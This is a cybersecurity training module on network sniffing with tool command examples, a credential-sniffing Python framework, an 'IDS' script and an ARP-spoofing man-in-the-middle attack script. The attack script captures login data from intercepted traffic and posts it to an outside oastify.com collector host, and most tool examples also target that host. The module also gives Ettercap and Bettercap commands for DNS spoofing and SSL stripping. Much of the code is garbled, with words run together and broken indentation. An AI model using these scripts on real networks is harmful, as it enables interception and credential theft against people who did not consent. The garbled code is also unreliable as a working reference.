CYBER MIND SPACE
Module 08 - Network Sniffing

Learning Objectives

- Understand network sniffing concepts and methodologies
- Master various sniffing tools and techniques
- Learn about network topology impacts on sniffing
- Explore active and passive sniffing strategies
- Develop skills in traffic analysis and packet capture
- Understand countermeasures and detection methods

Network Sniffing Fundamentals

What is Network Sniffing?

Network Sniffing is the practice of capturing and analyzing network traffic to extract sensitive information such as usernames, passwords, confidential data, and communication patterns. With sniffing, you can monitor all sorts of traffic either protected or unprotected by enabling promiscuous mode on the network interface.

📊 Definition

Network Sniffing involves monitoring data packets as they traverse network segments by placing network interfaces in promiscuous mode. The attacker can reveal information such as usernames and passwords from captured traffic. Anyone within the same LAN can potentially sniff packets.

How Network Sniffers Work

🔧 Working Mechanism

- Network Connection: The attacker connects to the target network to start sniffing operations
- Promiscuous Mode: Sniffers turn the Network Interface Card (NIC) into promiscuous mode
- Packet Capture: In promiscuous mode, the NIC responds to every packet it receives, not just those destined for its MAC address
- Data Extraction: The attacker decrypts and analyzes packets to extract valuable information

🔍 Promiscuous Mode

A special mode of network interface operation where the NIC accepts and processes all packets on the network segment, regardless of their destination MAC address.

Network Infrastructure Analysis

Switch vs Hub Behavior

🔀 Switch Characteristics

- Unicast Handling: Forwards unicast packets only to specific destination ports
- Broadcast/Multicast: Forwards broadcast and multicast traffic to all ports
- CAM Table: Maintains MAC address table for intelligent forwarding
- Collision Domain: Each port represents a separate collision domain

🔗 Hub Characteristics

- Shared Medium: All devices share the same collision domain
- Broadcast Nature: Transmits all packets to all connected ports
- Security Risk: Makes sniffing easier due to shared medium
- Legacy Technology: Largely replaced by switches in modern networks

📡 Switch Port Analyzer (SPAN) Port

SPAN Port (also known as Port Mirroring) is a switch feature that sends a copy of network packets from one or more switch ports to a designated monitoring port for analysis.

Uses:

- Network troubleshooting and analysis
- Security monitoring and intrusion detection
- Traffic analysis and performance monitoring
- Compliance and forensic investigations

Advanced Sniffing Concepts

📞 Wiretapping

Wiretapping involves gaining information by intercepting signals from communication lines such as telephone circuits or internet connections. This activity is typically performed by third parties for surveillance purposes.

Cyber Mind Space

Types of Wiretapping

🎯 **Active Wiretapping**

- Monitoring and Recording: Captures communication data
- Signal Alteration: Modifies the communication during interception
- Real-time Manipulation: Can inject or modify data streams
- Higher Detection Risk: More likely to be discovered due to signal changes

👁 **Passive Wiretapping**

- Silent Monitoring: Records information without altering communication
- No Signal Changes: Maintains original communication integrity
- Stealth Operation: Harder to detect due to no modifications
- Data Collection: Focuses on gathering intelligence without interference

⚖ **Lawful Interception/Wiretapping**

- Legal Authorization: Conducted with proper legal warrants
- Law Enforcement: Performed by authorized security agencies
- Compliance Requirements: Must follow strict legal procedures
- Court Orders: Requires judicial approval and oversight

Network Sniffing Tools

🦈 Wireshark

Description: Comprehensive network protocol analyzer that captures and displays packet data in real-time, supporting hundreds of protocols with powerful filtering and analysis capabilities.

Example Usage:

```
# Start packet capture on specific interface
wireshark -i eth0

# Capture to file for later analysis
wireshark -i eth0 -w network_capture.pcap

# Command-line capture with tshark
tshark -i eth0 -f "tcp port 80" -w http_traffic.pcap

# Analyze captured file with filters
tshark -r network_capture.pcap -Y "http.request.method == POST"

# Extract HTTP objects from capture
tshark -r network_capture.pcap --export-objects http,extracted_files/

# Test against target site
tshark -i eth0 -f "host rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"
```

🔍 tcpdump

Description: Command-line packet analyzer that captures network traffic on Unix-like systems, providing powerful filtering options and output formats.

Example Usage:

```
# Basic packet capture
tcpdump -i eth0

# Capture HTTP traffic
tcpdump -i eth0 'tcp port 80'

# Capture and save to file
tcpdump -i eth0 -w capture.pcap

# Read from saved file
tcpdump -r capture.pcap

# Capture with ASCII output
tcpdump -i eth0 -A 'tcp port 80'

# Capture specific host traffic
tcpdump -i eth0 host 192.168.1.100

# Monitor target site traffic
tcpdump -i eth0 'host rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com'
```

🕷 Ettercap

Description: Comprehensive suite for man-in-the-middle attacks on LAN networks, supporting ARP poisoning, DNS spoofing, and traffic interception.

Cyber Mind Space

Example Usage:

```
# ARP poisoning attack
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

# DNS spoofing with target redirection
echo "*.target-site.com A 192.168.1.50" >> /etc/ettercap/etter.dns
echo "rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com A 192.168.1.50" >> /etc/ettercap/etter.dns
ettercap -T -M arp:remote -P dns_spoof /192.168.1.1// /192.168.1.100//

# SSL stripping attack
ettercap -T -M arp:remote -P sslstrip /192.168.1.1// //

# GUI mode for easier operation
ettercap -G
```

🌐 NetworkMiner

Description: Network forensics tool that extracts artifacts from network traffic captures, including files, images, messages, and credentials.

Example Usage:

```
# Start NetworkMiner GUI application
mono NetworkMiner.exe

# Command-line version for automated analysis
mono NetworkMinerCLI.exe -r capture.pcap -o output_directory

# Extract files from PCAP
mono NetworkMinerCLI.exe --pcap capture.pcap --output extracted_files/

# Analyze target site traffic
mono NetworkMinerCLI.exe -r target_traffic.pcap --keyword "oastify.com"
```

⚔️ Bettercap

Description: Modern network attack and monitoring framework with support for WiFi, Bluetooth, and network reconnaissance.

Example Usage:

```
# Start interactive session
sudo bettercap

# ARP spoofing configuration
arp.spoof on
set arp.spoof.targets 192.168.1.100

# DNS spoofing with target redirection
set dns.spoof.domains *.target-site.com,*.oastify.com
set dns.spoof.address 192.168.1.50
dns.spoof on

# HTTP proxy with script injection
set http.proxy.script inject.js
http.proxy on

# WiFi reconnaissance
wifi.recon on

# Capture specific traffic
set net.sniff.filter "host rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"
net.sniff on
```

🔧 Dsniff Suite

Description: Collection of tools for network auditing and penetration testing including dsniff, urlsnarf, filesnarf, and mailsnarf.

Example Usage:

```
# Password sniffing from network traffic
dsniff -i eth0

# URL monitoring and logging
urlsnarf -i eth0

# File extraction from network streams
filesnarf -i eth0

# Email monitoring and capture
mailsnarf -i eth0

# ARP spoofing with arpspoof
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
```

Cyber Mind Space

```
# Monitor target site connections
dsniff -i eth0 -s 1024 | grep "oastify.com"
```

Automation Scripts and Advanced Techniques

🔧 Automated Network Reconnaissance Script

```
#!/usr/bin/env python3
import scapy.all as scapy
import requests
import time
import threading
from collections import defaultdict

class NetworkSniffingFramework:
    def __init__(self, interface="eth0"):
        self.interface = interface
        self.target_site = "https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"
        self.captured_credentials = []
        self.network_map = defaultdict(list)
        self.active_connections = {}

    def discover_hosts(self, network="192.168.1.0/24"):
        """Discover active hosts on network"""
        print(f"🔍 Discovering hosts on {network}")

        # Create ARP request
        arp_request = scapy.ARP(pdst=network)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request

        # Send request and capture responses
        answered_list=scapy.srp(arp_request_broadcast, timeout=2, verbose=False)[0]

        hosts = []
        for response in answered_list:
            host_info = {
                'ip': response[1].psrc,
                'mac': response[1].hwsrc
            }
            hosts.append(host_info)
            print(f"  📍 Found: {host_info['ip']} - {host_info['mac']}")

        return hosts

    def packet_analyzer(self, packet):
        """Analyzecapturedpacketsforcredentialsand sensitive data"""
        try:
            # HTTP Analysis
            if packet.haslayer(scapy.HTTPRequest):
                self.analyze_http_traffic(packet)

            # DNS Analysis
            elif packet.haslayer(scapy.DNSQR):
                self.analyze_dns_traffic(packet)

            # FTP Analysis
            elif packet.haslayer(scapy.Raw) and packet.haslayer(scapy.TCP):
                ifpacket[scapy.TCP].dport==21orpacket[scapy.TCP].sport == 21:
                    self.analyze_ftp_traffic(packet)

        except Exception as e:
            pass # Ignore packet parsing errors

    def analyze_http_traffic(self, packet):
        """Extract HTTP credentials and data""" method =
        packet[scapy.HTTPRequest].Method.decode()  host  =
        packet[scapy.HTTPRequest].Host.decode()   path   =
        packet[scapy.HTTPRequest].Path.decode()

        # Log HTTP requests to target site
        if "oastify.com" in host:
            print(f"🎯 Target site access: {method} {host}{path}")
            self.test_target_site_interaction(packet)

        # Extract POST data for credentials
        if method == "POST" and packet.haslayer(scapy.Raw):
            post_data = packet[scapy.Raw].load.decode(errors='ignore')

            # Check for credential patterns
            credential_patterns=['username','password', 'login', 'email', 'user', 'pass']
            ifany(patterninpost_data.lower()forpattern in credential_patterns):
                credential_info = {
```

Cyber Mind Space

```
                'timestamp': time.time(),
                'source_ip': packet[scapy.IP].src,
                'target_host': host,
                'data':post_data[:200],   #Limit data length
                'method': method
            }
            self.captured_credentials.append(credential_info)
            print(f"🔑 Credentialscapturedfrom {packet[scapy.IP].src}")

    def analyze_dns_traffic(self, packet):
        """Monitor DNS queries for reconnaissance"""
        query = packet[scapy.DNSQR].qname.decode()
        source_ip = packet[scapy.IP].src

        # Track DNS queries to our target domain
        if "oastify.com" in query:
            print(f"🌐 TargetDNSquery:   {source_ip} -> {query}")

            # Test DNS response manipulation
            self.test_dns_spoofing(packet)

    def analyze_ftp_traffic(self, packet):
        """Extract FTP credentials"""
        if packet.haslayer(scapy.Raw):
            data = packet[scapy.Raw].load.decode(errors='ignore')

            ifdata.startswith('USER')ordata.startswith('PASS '):
                credential_info = {
                    'timestamp':          time.time(),
                    'source_ip':  packet[scapy.IP].src,
                    'target_ip':  packet[scapy.IP].dst,
                    'protocol':     'FTP',      'data':
                    data.strip()
                }
                self.captured_credentials.append(credential_info)
                print(f"📁 FTPcredential: {data.strip()}")

    def test_target_site_interaction(self, packet):
    """Test interaction with target site"""
    try:
            # Send test request to verify connectivity
            response=requests.get(self.target_site, timeout=5)
            print(f"✅ Targetsitetestsuccessful: HTTP {response.status_code}")

            # Log the interaction
            interaction_data = {
                'timestamp': time.time(),
                'source_packet_ip': packet[scapy.IP].src,
                'test_response_code': response.status_code,
                'response_time': response.elapsed.total_seconds()
            }

            return interaction_data

        except Exception as e:
            print(f"❌ Targetsitetestfailed:{e}")
            return None

    def test_dns_spoofing(self, packet):
        """Test DNS spoofing capabilities"""
        try:
            # Create spoofed DNS response
            spoofed_ip="192.168.1.50"    #Attacker controlled IP

            if packet.haslayer(scapy.DNSQR):
            # Build spoofed response
            spoofed_response = (
                    scapy.IP(dst=packet[scapy.IP].src, src=packet[scapy.IP].dst) /
                    scapy.UDP(dport=packet[scapy.UDP].sport, sport=packet[scapy.UDP].dport) /
                    scapy.DNS(
                        id=packet[scapy.DNS].id,
                        qr=1, aa=1, qd=packet[scapy.DNS].qd,
                        an=scapy.DNSRR(
                            rrname=packet[scapy.DNSQR].qname,
                            ttl=10,
                            rdata=spoofed_ip
                        )
                    )
                )

                print(f"🎭 DNSspoofingtestprepared for {packet[scapy.DNSQR].qname.decode()}")
                #Note:Actualsendingwouldrequire proper network positioning

        except Exception as e:
            print(f"DNS spoofing test error: {e}")
```

Cyber Mind Space

```python
    defstart_packet_capture(self, duration=300):
        """Startpacketcapture for specified duration"""
        print(f"📡 Startingpacket capture on {self.interface} for {duration} seconds")

        try:
            scapy.sniff(
                iface=self.interface,
                prn=self.packet_analyzer,
                timeout=duration,
                store=0
            )
        except KeyboardInterrupt:
            print("\n⏹️ Packet capture stopped by user")
        except Exception as e:
            print(f"❌ Capture error: {e}")

    def generate_report(self):
        """Generatecomprehensive analysis report"""
        print("\n" + "="*50)
        print("📊 NETWORKSNIFFING ANALYSIS REPORT")
        print("="*50)

        print(f"\n🔑 Credentials Captured: {len(self.captured_credentials)}")
        fori,credinenumerate(self.captured_credentials, 1):
            print(f"  {i}.{cred['source_ip']} -> {cred.get('target_host', cred.get('target_ip', 'N/A'))}")
            print(f"      Protocol: {cred.get('protocol', 'HTTP')}")
            print(f"      Time: {time.ctime(cred['timestamp'])}")
            print(f"      Data: {cred['data'][:100]}...")
            print()

        print(f"🌐 NetworkMapping Complete")
        print(f"🎯 TargetSite Monitoring: Active")
        print(f"📈 TotalAnalysis Duration: {duration} seconds")

# Example usage and testing
if __name__ == "__main__":
    # Initialize the framework
    sniffer = NetworkSniffingFramework("eth0")

    # Test target site connectivity
    try:
        test_response=requests.get(sniffer.target_site, timeout=10)
        print(f"✅ Targetsiteaccessible: HTTP {test_response.status_code}")
    except Exception as e:
        print(f"❌ Targetsitetest failed: {e}")

    # Discover network hosts
    hosts = sniffer.discover_hosts()

    # Start packet capture
    capture_duration=60    #1minute for testing
    sniffer.start_packet_capture(capture_duration)

    # Generate report
    sniffer.generate_report()
```

🛡️ Network Intrusion Detection Script

```python
#!/usr/bin/env python3
import scapy.all as scapy
import collections
import time
import threading
import requests

class NetworkIDS:
    def__init__(self, interface="eth0"):
        self.interface = interface
        self.connection_tracker = collections.defaultdict(int)
        self.scan_detector = collections.defaultdict(lambda: collections.defaultdict(int))
        self.arp_table = {}
        self.alert_threshold = 10
        self.scan_threshold = 5
        self.target_site = "https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"

    defdetect_port_scan(self, packet):
        """Detect port scanning activity"""
        if packet.haslayer(scapy.TCP):
            src_ip    =    packet[scapy.IP].src
            dst_ip    =    packet[scapy.IP].dst
            dst_port = packet[scapy.TCP].dport

            #Track connection attempts per source
            self.scan_detector[src_ip][dst_ip] += 1
```

Cyber Mind Space

```
        # Alert if scanning multiple targets
        if len(self.scan_detector[src_ip]) > self.scan_threshold:
            self.send_alert(f"🚨 Port scan detected from {src_ip}", {
                'attacker_ip': src_ip,
                'targets': list(self.scan_detector[src_ip].keys()),
                'target_count': len(self.scan_detector[src_ip])
            })

    def detect_dos_attack(self, packet):
        """Detect potential DoS attacks"""
        if packet.haslayer(scapy.IP):
            src_ip = packet[scapy.IP].src
            self.connection_tracker[src_ip] += 1

            # Alert on high connection rate
            if self.connection_tracker[src_ip] > self.alert_threshold:
                self.send_alert(f"🚨 Potential DoS attack from {src_ip}", {
                    'attacker_ip': src_ip,
                    'connection_count': self.connection_tracker[src_ip],
                    'threshold': self.alert_threshold
                })

    def detect_arp_spoofing(self, packet):
        """Detect ARP spoofing attacks"""
        if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:  # ARP reply
            src_mac = packet[scapy.ARP].hwsrc
            src_ip = packet[scapy.ARP].psrc

            # Check for IP/MAC conflicts
            if src_ip in self.arp_table and self.arp_table[src_ip] != src_mac:
                self.send_alert(f"🚨 ARPspoofingdetected!",{
                    'ip_address': src_ip,
                    'original_mac': self.arp_table[src_ip],
                    'new_mac': src_mac,
                    'attack_type': 'ARP_SPOOFING'
                })

            self.arp_table[src_ip] = src_mac

    def detect_suspicious_dns(self, packet):
    """Detect suspicious DNS activity"""
    if packet.haslayer(scapy.DNSQR):
            query = packet[scapy.DNSQR].qname.decode()

            # Monitor for target site queries
            if "oastify.com" in query:
                self.send_alert(f"🎯 Target site DNS query detected", {
                    'source_ip': packet[scapy.IP].src,
                    'query': query,
                    'query_type': 'TARGET_SITE'
                })

            # Check for suspicious TLDs
            suspicious_patterns = ['.tk', '.ml', '.cf', 'bit.ly', 'tinyurl']
            for pattern in suspicious_patterns:
                if pattern in query.lower():
                    self.send_alert(f"⚠️ Suspicious DNS query: {query}", {
                        'source_ip': packet[scapy.IP].src,
                        'suspicious_pattern': pattern,
                        'query': query
                    })
                    break

    def send_alert(self, message, alert_data):
        """Send alert to monitoring system"""
        print(f"{time.strftime('%H:%M:%S')} - {message}")

        # Test sending alert to target site
        try:
            alert_payload = {
                'timestamp': time.time(),
                'alert_message': message,
                'alert_data': alert_data,
                'sensor_id': 'network_ids_01'
            }

            # Send alert to target site for testing
            response = requests.post(
            self.target_site,
            json=alert_payload,
            timeout=5
            )

            if response.status_code == 200:
                print(f"✅ Alert sent to monitoring system")
            else:
```

Cyber Mind Space

```
                print(f"⚠️ Alertsendingfailed: HTTP {response.status_code}")

        except Exception as e:
            print(f"❌ Alerttransmissionerror: {e}")

    def packet_handler(self, packet):
        """Main packet processing handler"""
        try:
            self.detect_port_scan(packet)
            self.detect_dos_attack(packet)
            self.detect_arp_spoofing(packet)
            self.detect_suspicious_dns(packet)
        except Exception as e:
            pass # Ignore packet parsing errors

    def cleanup_counters(self):
        """Periodically cleanup tracking counters"""
        while True:
            time.sleep(60) #Cleaneveryminute
            self.connection_tracker.clear()

            # Keep scan detector for longer analysis
            if len(self.scan_detector) > 100:
                oldest_ips = list(self.scan_detector.keys())[:50]
                for ip in oldest_ips:
                    del self.scan_detector[ip]

    def start_monitoring(self):
        """Start network monitoring"""
        print(f"🛡️ StartingNetworkIDSoninterface {self.interface}")
        print(f"🎯 Targetsitemonitoring:{self.target_site}")

        # Test target site connectivity
        try:
            response=requests.get(self.target_site, timeout=10)
            print(f"✅ Targetsiteaccessible: HTTP {response.status_code}")
        except Exception as e:
            print(f"⚠️ Targetsitetestfailed: {e}")

        # Start cleanup thread
        cleanup_thread=threading.Thread(target=self.cleanup_counters, daemon=True)
        cleanup_thread.start()

        # Start packet monitoring
        try:
            scapy.sniff(
                iface=self.interface,
                prn=self.packet_handler,
                store=0
            )
        except KeyboardInterrupt:
            print("\n⏹️ Networkmonitoringstopped")
        except Exception as e:
            print(f"❌ Monitoringerror:{e}")

# Example usage
if __name__ == "__main__":
    ids = NetworkIDS("eth0")
    ids.start_monitoring()
```

Attack Techniques and Payloads

🎯 ARP Spoofing Attack Script

```
#!/usr/bin/env python3
import scapy.all as scapy
import time
import threading
import requests

class ARPSpoofingAttack:
    def__init__(self, interface, gateway_ip, target_ip):
        self.interface = interface
        self.gateway_ip = gateway_ip
        self.target_ip = target_ip
        self.gateway_mac = None
        self.target_mac = None
        self.running = False
        self.target_site = "https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"

    defget_mac_address(self, ip):
        """Get MAC address for given IP using ARP"""
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
```

Cyber Mind Space

```
        arp_request_broadcast = broadcast / arp_request
        answered_list=scapy.srp(arp_request_broadcast, timeout=2, verbose=False)[0]

        if answered_list:
            return answered_list[0][1].hwsrc
        return None

    def enable_ip_forwarding(self):
        """Enable IP forwarding for traffic routing"""
        import subprocess
        try:
            subprocess.run(["echo","1"],stdout=open("/proc/sys/net/ipv4/ip_forward", "w"))
            print("✅ IPforwardingenabled")
        except Exception as e:
            print(f"❌ FailedtoenableIPforwarding: {e}")

    def restore_arp_tables(self):
        """Restore original ARP tables"""
        if self.gateway_mac and self.target_mac:
            # Restore target's ARP table
            restore_target = scapy.ARP(
                op=2, pdst=self.target_ip, hwdst=self.target_mac,
                psrc=self.gateway_ip, hwsrc=self.gateway_mac
            )

            # Restore gateway's ARP table
            restore_gateway = scapy.ARP(
                op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac,
                psrc=self.target_ip, hwsrc=self.target_mac
            )

            scapy.send(restore_target, verbose=False)
            scapy.send(restore_gateway, verbose=False)
            print("🔄 ARPtablesrestored")

    def perform_arp_spoofing(self):
        """Continuously send spoofed ARP packets"""
        while self.running:
            # Tell target we are the gateway
            target_arp = scapy.ARP(
                op=2, pdst=self.target_ip, hwdst=self.target_mac,
                psrc=self.gateway_ip
            )

            # Tell gateway we are the target
            gateway_arp = scapy.ARP(
                op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac,
                psrc=self.target_ip
            )

            scapy.send(target_arp, verbose=False)
            scapy.send(gateway_arp, verbose=False)

            time.sleep(2)

    def capture_traffic(self, packet):
        """Analyze intercepted traffic"""
        try:
            # Monitor HTTP traffic
            if packet.haslayer(scapy.HTTPRequest):
                host   =   packet[scapy.HTTPRequest].Host.decode()
                path   =   packet[scapy.HTTPRequest].Path.decode()
                method = packet[scapy.HTTPRequest].Method.decode()

                print(f"🌐 HTTP {method}: {host}{path}")

                # Check for target site traffic
                if "oastify.com" in host:
                    print(f"🎯 Targetsiteintercepted: {method} {host}{path}")
                    self.test_traffic_modification(packet)

                #ExtractcredentialsfromPOST data
                if method == "POST" and packet.haslayer(scapy.Raw):
                    post_data = packet[scapy.Raw].load.decode(errors='ignore')
                    ifany(keywordinpost_data.lower() for keyword in ['username', 'password', 'login']):
                        print(f"🔑 Credentials intercepted: {post_data[:100]}...")
                        self.exfiltrate_credentials(post_data)

            # Monitor DNS queries
            elif packet.haslayer(scapy.DNSQR):
                query = packet[scapy.DNSQR].qname.decode()
                print(f"🌐 DNSQuery:  {packet[scapy.IP].src} -> {query}")

                #TestDNSmanipulationfortarget site
                if "oastify.com" in query:
                    print(f"🎯 TargetsiteDNS query intercepted")
```

Cyber Mind Space

```
                self.test_dns_manipulation(packet)

        except Exception as e:
            pass # Ignore packet parsing errors

    def test_traffic_modification(self, packet):
        """Test traffic modification capabilities"""
        try:
            #Sendnotificationtotargetsiteaboutintercepted traffic
            intercept_data = {
                'timestamp': time.time(),
                'source_ip': packet[scapy.IP].src,
                'destination_ip': packet[scapy.IP].dst,
                'intercepted_host': packet[scapy.HTTPRequest].Host.decode(),
                'method': packet[scapy.HTTPRequest].Method.decode(),
                'attack_type': 'arp_spoofing_mitm'
            }

            response = requests.post(
            self.target_site,
            json=intercept_data,
            timeout=5
            )

            print(f"✅ Traffic interception logged: HTTP {response.status_code}")

        except Exception as e:
            print(f"❌ Trafficmodificationtestfailed:{e}")

    def test_dns_manipulation(self, packet):
    """Test DNS response manipulation"""
    try:
            # Log DNS interception to target site
            dns_data = {
                'timestamp': time.time(),
                'source_ip': packet[scapy.IP].src,
                'intercepted_query': packet[scapy.DNSQR].qname.decode(),
                'attack_type': 'dns_interception'
            }

            response = requests.post(
            self.target_site,
            json=dns_data,
            timeout=5
            )

            print(f"✅ DNS interception logged: HTTP {response.status_code}")

        except Exception as e:
            print(f"❌ DNS manipulation test failed: {e}")

    def exfiltrate_credentials(self, credential_data):
        """Test credential exfiltration"""
        try:
            # Send captured credentials to target site for testing
            exfil_data = {
                'timestamp': time.time(),
                'credentials':credential_data[:200],   #Limit data size
                'attack_type': 'credential_harvest',
                'source': 'arp_spoofing_mitm'
            }

            response = requests.post(
            self.target_site,
            json=exfil_data,
            timeout=5
            )

            print(f"✅ Credential exfiltration test: HTTP {response.status_code}")

        except Exception as e:
            print(f"❌ Credentialexfiltrationfailed:{e}")

    def start_attack(self):
        """Initialize and start the ARP spoofing attack"""
        print(f"🎯 Starting ARP spoofing attack")
        print(f"   Target: {self.target_ip}")
        print(f"   Gateway: {self.gateway_ip}")
        print(f"   Interface: {self.interface}")

        # Get MAC addresses
        print("🔍 DiscoveringMACaddresses...")
        self.gateway_mac = self.get_mac_address(self.gateway_ip)
        self.target_mac = self.get_mac_address(self.target_ip)

        if not self.gateway_mac or not self.target_mac:
```

Cyber Mind Space

```
            print("❌ Failedtodiscover MAC addresses")
            return False

        print(f"✅ Gateway MAC: {self.gateway_mac}")
        print(f"✅ Target MAC: {self.target_mac}")

        # Test target site connectivity
        try:
            response=requests.get(self.target_site, timeout=10)
            print(f"✅ Targetsite accessible: HTTP {response.status_code}")
        except Exception as e:
            print(f"⚠️ Targetsite test failed: {e}")

        # Enable IP forwarding
        self.enable_ip_forwarding()

        # Start ARP spoofing thread
        self.running = True
        arp_thread=threading.Thread(target=self.perform_arp_spoofing, daemon=True)
        arp_thread.start()
        print("🚀 ARP spoofing started")

        # Start traffic capture
        try:
            print("📡 Startingtraffic interception...")
            scapy.sniff(
                iface=self.interface,
                prn=self.capture_traffic,
                store=0
            )
        except KeyboardInterrupt:
            print("\n⏹️ Attackstopped by user")
        finally:
            self.running = False
            self.restore_arp_tables()
            print("🔄 Networkrestored to original state")

#Example usage
if__name__ == "__main__":
    #Configure attack parameters
    interface = "eth0"
    gateway_ip = "192.168.1.1"
    target_ip = "192.168.1.100"

    #Initialize and start attack
    attack = ARPSpoofingAttack(interface, gateway_ip, target_ip)
    attack.start_attack()
```

Cybersecurity Terms and Definitions

🔒 CAM Table

Content Addressable Memory table used by network switches to store MAC address to port mappings for efficient frame forwarding.

🕵️ Deep Packet Inspection (DPI)

Advanced packet analysis technique that examines the data content of network packets, not just headers, to identify applications, services, and potential t hreats.

🔍 SPAN Port (Switch Port Analyzer)

Network switch feature that mirrors traffic from one or more ports to a designated monitoring port for analysis and troubleshooting.

🌐 Promiscuous Mode

Network interface operation mode where the network card captures all traffic on the network segment, regardless of the intended destination.

🔄 Man-in-the-Middle (MITM)

Attack technique where an attacker secretly intercepts and potentially alters communications between two parties who believe they are communicating directly.

📡 Passive Sniffing

Network monitoring technique that captures traffic without injecting any packets or modifying network behavior, making it harder to detect.

⚔️ Active Sniffing

Network attack method that involves injecting packets or manipulating network protocols to redirect traffic through the attacker's system.

🔀 ARP Spoofing

Attack technique that sends forged ARP messages to associate the attacker's MAC address with the IP address of another device on the network.

🌍 DNS Spoofing

Attack that corrupts DNS resolution by providing false DNS responses, redirecting users to malicious websites.

Cyber Mind Space

📊 Traffic Analysis

Process of examining network communication patterns and metadata to understand network behavior and identify potential security issues.

🔐 SSL/TLS Stripping

Attack technique that downgrades HTTPS connections to HTTP, allowing attackers to intercept encrypted communications.

🏗️ Network Topology Discovery

Process of mapping network infrastructure, including devices, connections, and communication paths within a network.

🛡️ Intrusion Detection System (IDS)

Security system that monitors network traffic and system activities for malicious activity and policy violations.

📈 Bandwidth Monitoring

Process of measuring and analyzing network traffic volume and patterns to identify performance issues and security threats.

🔄 Port Mirroring

Network switch capability that duplicates traffic from monitored ports to analysis ports for security monitoring and troubleshooting.

Countermeasures and Detection

🛡️ Network Security Best Practices

Switch Security Configuration

- **Port Security**: Limit MAC addresses per port
- **DHCP Snooping**: Prevent rogue DHCP servers
- **ARP Inspection**: Validate ARP packets
- **VLAN Segmentation**: Isolate network segments

Monitoring and Detection

- **Network Monitoring Tools**: Deploy IDS/IPS systems
- **Baseline Establishment**: Normal traffic pattern analysis
- **Anomaly Detection**: Identify unusual network behavior
- **Log Analysis**: Regular review of network logs

Encryption and Authentication

- **End-to-End Encryption**: Protect data in transit
- **Certificate Validation**: Verify SSL/TLS certificates
- **Strong Authentication**: Multi-factor authentication
- **VPN Usage**: Secure remote connections

References and Further Reading

📚 Articles for Further Reference

- *NIST Special Publication 800-94: Guide to Intrusion Detection and Prevention Systems*
- *IEEE 802.1X Network Access Control*
- *RFC 3164: The BSD Syslog Protocol*
- *SANS Institute: Network Monitoring and Analysis*
- *Wireshark User's Guide*

🔗 Reference Links

- *Wireshark Official Documentation*
- *tcpdump Manual Pages*
- *Ettercap Project*
- *NetworkMiner Documentation*
- *OWASP Testing for Network Infrastructure*

🔗 STAY CONNECTED WITH US 🔗
🔥 Stay Connected with Cyber Mind Space — Learn, Discuss & Dominate Cybersecurity! 🔐💡
📢 Telegram Channel (Updates & Resources):
https://t.me/cybermindspace
💬 Telegram Group (Ask & Network):
https://t.me/+LJvMwjAE6yA5YWQ1
📸 Instagram (Reels & Daily Tips):
https://instagram.com/cyber_ mind _space
🎥 YouTube (Podcasts, Lives & Tutorials):
https://www.youtube.com/@CyberMindSpace

Cyber Mind Space

🔗 LinkedIn (Professional Profile): https://linkedin.com/in/almadadali

💻 GitHub (Tools & Scripts):
https://github.com/ALMADADALI
📲 WhatsApp Channel (Cyber Alerts):
https://whatsapp.com/channel/0029VbAzQMU9hXF70zjpCu1Y
🗣️ Discord Server (Voice & Community Chat):
https://discord.gg/qA3CqZ86hY
🎥 Tiktok:
https://www.tiktok.com/@cybermindspace
🐦 Twitter (X) – Cybersecurity Thoughts:
https://x.com/cybermindspace?s=21
⚡Subscribe, Follow & Stay Updated — Cybersecurity Never Sleeps!

🌐

Cyber Mind Space